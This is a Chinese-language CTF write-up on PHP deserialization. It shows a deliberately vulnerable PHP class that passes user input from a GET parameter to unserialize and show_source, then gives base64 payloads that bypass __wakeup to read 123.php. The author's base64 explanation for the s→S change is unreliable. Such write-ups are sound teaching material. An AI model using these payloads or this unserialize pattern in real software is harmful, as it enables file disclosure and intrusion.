PHP反序列化漏洞-CTF
PHP反序列化漏洞-FIRST
PHP反序列化漏洞-SECOND
1.CTF实例
CTF实例源码:
strchr() 函数: 搜索字符串在另一字符串中的第一次出现,返回字符串的其余部分(从匹配点)。如果未找到所搜索的字符串,则返回 FALSE。
dirname(__FILE__)
函数:表示当前文件绝对路径
//10.php
<?php
error_reporting(0); //关闭错误报告
class happy{
protected $file='index.php';
public function __construct($file){
$this->file=$file;
}
function __destruct(){
if(!empty($this->file))
{
if(strchr($this->file,"\\")===false && strchr($this->file,'/')===false) //过滤了文件名中的\\与/
show_source(dirname(__FILE__).'/'.$this->file); //打开文件操作
else
die('Wrong filename.');
}
}
function __wakeup(){
$this->file='index.php';
}
public function __toString()
{
return '';
}
}
if (!isset($_GET['file'])){
show_source('index.php');
}
else{
$file=base64_decode($_GET['file']);
echo unserialize($file);
}
?>
<!--password in 123.php--> //密码在123.php文件中
分析:
isset()函数,当()中的值为空返回false,也就是说们通过GET传参,为空时显示index.php文件。
if (!isset($_GET['file']))
{
show_source('index.php');
}
构造payload
O:5:"happy":2:{s:7:"\00*\00file";s:7:"123.php";}
base64加密后:
Tzo1OiJoYXBweSI6Mjp7czo3OiJcMDAqXDAwZmlsZSI7czo3OiIxMjMucGhwIjt9
我们发现此时我们构造的payload并没有生效,输出的为index.php页面。
对于此处,我搜查了一些资料,发现是对于保护变量进行外部修改时,属性标识符的问题,也就是s的问题,我们将s->S后,成功回显123.php
在PHP序列化格式中,不存在S与s标识有什么区别,所以我分析,应该为base64编码中对这块有什么特殊的规定,我暂时没有找到,希望大家看到此处时,明白其原由的请评论给我,谢谢
O:5:"happy":2:{S:7:"\00*\00file";s:7:"123.php";}
base64加密后
Tzo1OiJoYXBweSI6Mjp7Uzo3OiJcMDAqXDAwZmlsZSI7czo3OiIxMjMucGhwIjt9
成功打开123.php文件,漏洞利用成功…